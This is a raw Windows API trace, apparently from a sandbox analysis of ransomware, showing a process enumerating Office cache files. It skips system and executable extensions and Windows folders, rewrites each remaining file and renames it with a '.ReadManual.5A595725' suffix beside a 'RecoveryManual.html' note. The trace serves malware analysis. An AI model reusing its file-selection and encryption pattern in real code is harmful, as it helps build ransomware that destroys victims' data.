returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" [0195.005] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.ReadManual.5A595725" [0195.005] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.ReadManual.5A595725") returned 103 [0195.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31567399563) returned 1 [0195.005] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0195.005] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0195.006] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=819) returned 1 [0195.006] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x333, lpName=0x0) returned 0x194 [0195.006] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0195.006] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.006] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0195.008] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0195.008] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x333) returned 0x2f0000 [0195.008] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0195.008] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31567705941) returned 1 [0195.008] CloseHandle (hObject=0x194) returned 1 [0195.008] SetSecurityInfo () returned 0x57 [0195.009] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.009] CloseHandle (hObject=0x190) returned 1 [0195.009] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0195.009] lstrcpyW (in: lpString1=0x6ab922, lpString2="osetupui.dll" | out: lpString1="osetupui.dll") returned="osetupui.dll" [0195.009] lstrcmpiW (lpString1="osetupui.dll", lpString2="RecoveryManual.html") returned -1 [0195.009] StrStrIW (lpFirst="osetupui.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.009] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0195.009] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0195.009] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0195.009] lstrcpyW (in: lpString1=0x6ab922, lpString2="pss10r.chm" | out: lpString1="pss10r.chm") returned="pss10r.chm" [0195.009] lstrcmpiW (lpString1="pss10r.chm", lpString2="RecoveryManual.html") returned -1 [0195.009] StrStrIW (lpFirst="pss10r.chm", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.009] StrCmpIW (psz1="chm", psz2="exe") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="dll") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="sys") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="msi") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="mui") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="inf") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="cat") returned 1 [0195.009] StrCmpIW (psz1="chm", psz2="bat") returned 1 [0195.009] StrCmpIW (psz1="chm", psz2="cmd") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="ps1") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="vbs") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="ttf") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="fon") returned -1 [0195.009] StrCmpIW (psz1="chm", psz2="lnk") returned -1 [0195.009] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" [0195.009] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.ReadManual.5A595725" [0195.009] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.ReadManual.5A595725") returned 97 [0195.009] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31567826003) returned 1 [0195.010] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0195.010] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0195.010] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=27195) returned 1 [0195.010] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a3b, lpName=0x0) returned 0x194 [0195.010] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0195.010] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.010] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0195.012] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0195.012] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a3b) returned 0x2f0000 [0195.012] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0195.012] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31568329488) returned 1 [0195.015] CloseHandle (hObject=0x194) returned 1 [0195.015] SetSecurityInfo () returned 0x57 [0195.015] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.015] CloseHandle (hObject=0x190) returned 1 [0195.015] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0195.015] lstrcpyW (in: lpString1=0x6ab922, lpString2="setup.chm" | out: lpString1="setup.chm") returned="setup.chm" [0195.015] lstrcmpiW (lpString1="setup.chm", lpString2="RecoveryManual.html") returned 1 [0195.015] StrStrIW (lpFirst="setup.chm", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.015] StrCmpIW (psz1="chm", psz2="exe") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="dll") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="sys") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="msi") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="mui") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="inf") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="cat") returned 1 [0195.015] StrCmpIW (psz1="chm", psz2="bat") returned 1 [0195.015] StrCmpIW (psz1="chm", psz2="cmd") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="ps1") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="vbs") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="ttf") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="fon") returned -1 [0195.015] StrCmpIW (psz1="chm", psz2="lnk") returned -1 [0195.015] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" [0195.015] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.ReadManual.5A595725" [0195.015] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.ReadManual.5A595725") returned 96 [0195.015] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31568422368) returned 1 [0195.016] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0195.016] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0195.016] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=67190) returned 1 [0195.016] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10676, lpName=0x0) returned 0x194 [0195.016] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0195.016] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.016] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0195.018] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0195.018] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10676) returned 0x1de0000 [0195.020] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0195.021] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31568965333) returned 1 [0195.021] CloseHandle (hObject=0x194) returned 1 [0195.021] SetSecurityInfo () returned 0x57 [0195.021] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.021] CloseHandle (hObject=0x190) returned 1 [0195.021] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0195.021] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0195.021] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0195.021] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.021] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0195.021] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0195.021] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0195.021] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0195.021] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0195.021] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0195.021] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0195.022] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0195.022] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" [0195.022] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0195.022] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0195.022] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31569059832) returned 1 [0195.022] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0195.022] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0195.022] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=9352) returned 1 [0195.022] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2488, lpName=0x0) returned 0x194 [0195.022] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0195.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.023] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0195.024] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0195.024] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2488) returned 0x2f0000 [0195.025] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0195.025] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31569354800) returned 1 [0195.025] CloseHandle (hObject=0x194) returned 1 [0195.025] SetSecurityInfo () returned 0x57 [0195.025] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.025] CloseHandle (hObject=0x190) returned 1 [0195.030] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0195.030] lstrcpyW (in: lpString1=0x6ab922, lpString2="ShellUI.MST" | out: lpString1="ShellUI.MST") returned="ShellUI.MST" [0195.030] lstrcmpiW (lpString1="ShellUI.MST", lpString2="RecoveryManual.html") returned 1 [0195.030] StrStrIW (lpFirst="ShellUI.MST", lpSrch=".ReadManual.5A595725") returned 0x0 [0195.030] StrCmpIW (psz1="MST", psz2="exe") returned 1 [0195.030] StrCmpIW (psz1="MST", psz2="dll") returned 1 [0195.030] StrCmpIW (psz1="MST", psz2="sys") returned -1 [0195.030] StrCmpIW (psz1="MST", psz2="msi") returned 1 [0195.031] StrCmpIW (psz1="MST", psz2="mui") returned -1 [0195.031] StrCmpIW (psz1="MST", psz2="inf") returned 1 [0195.031] StrCmpIW (psz1="MST", psz2="cat") returned 1 [0195.031] StrCmpIW (psz1="MST", psz2="bat") returned 1 [0195.031] StrCmpIW (psz1="MST", psz2="cmd") returned 1 [0195.031] StrCmpIW (psz1="MST", psz2="ps1") returned -1 [0195.031] StrCmpIW (psz1="MST", psz2="vbs") returned -1 [0195.031] StrCmpIW (psz1="MST", psz2="ttf") returned -1 [0195.031] StrCmpIW (psz1="MST", psz2="fon") returned 1 [0195.031] StrCmpIW (psz1="MST", psz2="lnk") returned 1 [0195.031] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" [0195.031] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.ReadManual.5A595725" [0195.031] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.ReadManual.5A595725") returned 98 [0195.031] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31569967312) returned 1 [0195.031] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0195.032] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0195.032] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=3584) returned 1 [0195.032] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe00, lpName=0x0) returned 0x194 [0195.032] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0195.033] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.033] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0195.034] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0195.034] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe00) returned 0x2f0000 [0195.034] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0195.035] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31570332449) returned 1 [0195.035] CloseHandle (hObject=0x194) returned 1 [0195.035] SetSecurityInfo () returned 0x57 [0195.035] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0195.035] CloseHandle (hObject=0x190) returned 1 [0195.035] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0195.035] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0195.035] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0195.035] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C") returned="{90140000-0117-0409-1000-0000000FF1CE}-C" [0195.035] lstrcatW (in: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0195.035] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 